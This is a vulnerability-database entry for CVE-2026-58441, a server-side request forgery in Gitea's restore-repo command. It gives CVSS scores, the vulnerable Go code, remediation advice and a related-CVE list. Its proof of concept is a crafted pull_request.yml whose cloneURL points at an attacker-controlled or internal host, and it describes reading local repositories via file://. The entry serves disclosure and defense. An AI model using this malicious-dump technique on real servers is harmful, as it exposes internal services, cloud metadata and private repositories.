Skip to main content

Gitea EUVDEUVD-2026-58168

| CVE-2026-58441 MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-07-21 https://github.com/go-gitea/gitea GHSA-xmj7-xj85-hfc3
6.3
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
Share

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY
6.3 MEDIUM
AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
vuln.today AI
6.3 MEDIUM

AV:L because exploitation requires local CLI execution on the Gitea host; S:C because SSRF extends impact to internal network services and cloud metadata endpoints beyond the Gitea process.

3.1 AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
SUSE
MEDIUM
qualitative

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
Jul 21, 2026 - 21:16 vuln.today
Analysis Generated
Jul 21, 2026 - 21:16 vuln.today

DescriptionCVE.org

Summary

Gitea's restore-repo CLI command restores a repository from a dump directory/archive. When parsing pull_request.yml from that dump, the Head.CloneURL field is used to add a git remote and fetch from it with no validation, because the safety check that's supposed to guard it (CheckAndEnsureSafePR) is called with an empty commonCloneBaseURL, which silently disables it. This lets a malicious dump make the Gitea server execute git fetch against an attacker-chosen URL (SSRF), or disclose a local git repository via file://. This is a different root cause from the recently fixed path-traversal issue in the same command (#38215), which patched DownloadURL/PatchURL but not Head.CloneURL.

Details

services/migrations/restore.go's GetPullRequests() unmarshals pull_request.yml directly into base.PullRequest structs with no validation of Head.CloneURL:

go
err = yaml.Unmarshal(bs, &pulls)
...
for _, pr := range pulls {
    if pr.PatchURL != "" {
        pr.PatchURL = "file://" + util.FilePathJoinAbs(r.baseDir, pr.PatchURL)
    }
    CheckAndEnsureSafePR(pr, "", r)   // <-- empty baseURL
}

CheckAndEnsureSafePR (services/migrations/common.go) is supposed to reject Head.CloneURL/PatchURL values that don't share a common base URL:

go
func hasBaseURL(toCheck, baseURL string) bool {
    if len(baseURL) > 0 && baseURL[len(baseURL)-1] != '/' {
        baseURL += "/"
    }
    return strings.HasPrefix(toCheck, baseURL)
}

func CheckAndEnsureSafePR(pr *base.PullRequest, commonCloneBaseURL string, g base.Downloader) bool {
    valid := true
    if pr.PatchURL != "" && !hasBaseURL(pr.PatchURL, commonCloneBaseURL) {
        pr.PatchURL = ""
        valid = false
    }
    if pr.Head.CloneURL != "" && !hasBaseURL(pr.Head.CloneURL, commonCloneBaseURL) {
        pr.Head.CloneURL = ""
        valid = false
    }
    return valid
}

strings.HasPrefix(anything, "") is always true in Go. Because restore.go is the only caller that passes "" as commonCloneBaseURL, this check is a complete no-op on the restore-repo path - Head.CloneURL survives unchanged regardless of its value. Every other downloader (github.go, gitlab.go, gitea_downloader.go, codebase.go, codecommit.go, onedev.go) passes a real base URL, so they are not affected.

services/migrations/gitea_uploader.go then uses the unvalidated value directly:

go
err := g.gitRepo.AddRemote(remote, pr.Head.CloneURL, true)
// ... later: fetch from that remote

resulting in the server executing git fetch against an attacker-controlled URL sourced from the dump file.

RCE via git's ext:: transport helper was tested and ruled out - a normal git install rejects it by default (fatal: transport 'ext' not allowed), independent of Gitea's own configuration. This report is scoped to SSRF and local git-repository disclosure.

Confirmed present, byte-for-byte identical, in v1.26.4 (latest stable tag), release/v1.27, and main, by direct checkout and diff.

PoC

  1. Create a dump directory following the normal restore-repo layout

(repo.yml, etc.), and add a pull_request.yml containing at least one entry with:

yaml
   - number: 1
     head:
       cloneURL: "http://<attacker-controlled-or-internal-host>:<port>/ssrf-proof"
       ref: "main"
  1. Run gitea restore-repo against that dump directory for any repo

owner.

  1. Observe on the target host/listener: an actual git HTTP

discovery request arrives, e.g. GET /ssrf-proof/info/refs?service=git-upload-pack, driven entirely by the value from the dump file.

Verified the core mechanism (steps 2-3, i.e. the unvalidated Head.CloneURL surviving CheckAndEnsureSafePR("") and then being used in a real git remote add + git fetch) with a minimal, standalone Go program built from the verbatim, unmodified hasBaseURL / CheckAndEnsureSafePR function bodies (attached: gitea_ssrf_poc.go), run end-to-end against a local HTTP listener. The listener's access log confirms the request actually arrives.

Impact

An attacker who can get an administrator to run gitea restore-repo against a malicious dump (the same threat model already accepted for the just-fixed path-traversal issue in this command, #38215) can make the Gitea server issue a git fetch against an arbitrary attacker-chosen URL. This allows:

  • SSRF against internal-only services or cloud metadata endpoints

reachable from the Gitea host.

  • Disclosure of local git repositories reachable via file:// paths

readable by the Gitea process.

No public disclosure planned. Happy to provide further detail on request.

AnalysisAI

Server-Side Request Forgery in Gitea's restore-repo CLI command allows an attacker who can supply a malicious dump archive to a Gitea administrator to force the server to issue git fetch against arbitrary attacker-controlled or internal URLs, including cloud metadata endpoints and local filesystem paths via file://. The root cause is a Go language logic defect: CheckAndEnsureSafePR is invoked with an empty commonCloneBaseURL string, causing strings.HasPrefix(anything, "") to always return true, which silently disables the URL validation guard for Head.CloneURL in the restore path only. A detailed PoC is publicly documented in the GHSA advisory; no CISA KEV listing is present, indicating active exploitation is unconfirmed at time of analysis. Fix is available in Gitea v1.27.0.

Technical ContextAI

The affected component is Gitea's repository migration/restore subsystem, specifically services/migrations/restore.go and services/migrations/common.go. When gitea restore-repo processes a dump archive, it unmarshals pull_request.yml into base.PullRequest structs and then calls CheckAndEnsureSafePR(pr, "", r) - passing an empty string as the commonCloneBaseURL parameter. The guard function hasBaseURL uses strings.HasPrefix(toCheck, baseURL) which in Go always evaluates to true when baseURL is an empty string, making the entire safety check a no-op for this call site. All other downloaders (github.go, gitlab.go, gitea_downloader.go, codebase.go, codecommit.go, onedev.go) pass a real base URL, so they are unaffected. The unvalidated Head.CloneURL value is then passed directly to g.gitRepo.AddRemote() and subsequently used in a live git fetch, triggering outbound network requests to attacker-specified destinations. CWE-918 (Server-Side Request Forgery) accurately describes the root cause class. The affected package is code.gitea.io/gitea (Go module). RCE via git's ext:: transport was tested and ruled out by the reporter, as standard git installations reject that transport by default. This is a distinct root cause from the previously patched path-traversal issue in #38215, which addressed DownloadURL/PatchURL but left Head.CloneURL unguarded.

RemediationAI

Upgrade Gitea to v1.27.0 or later, which resolves the missing URL validation in the restore-repo path. The release is available at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. If immediate upgrade is not feasible, restrict execution of the gitea restore-repo CLI command to a minimal set of trusted operators and enforce that all dump archives originate from trusted, internally generated sources only - do not accept dump archives from external or untrusted parties. As a network-level compensating control, configure egress firewall rules on the Gitea host to block outbound connections to RFC-1918 address ranges, link-local addresses (169.254.0.0/16), and loopback, which limits the SSRF impact surface by preventing cloud metadata endpoint access; note this does not mitigate file://-based local repository disclosure. Auditing or pre-validating pull_request.yml files within dump archives before running restore-repo can also detect malicious head.cloneURL values, though this requires manual inspection. The advisory is GHSA-xmj7-xj85-hfc3.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

CVE-2020-13246 HIGH POC
7.5 May 20

An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita

CVE-2022-0905 HIGH POC
7.1 Mar 10

Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

Share

EUVD-2026-58168 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy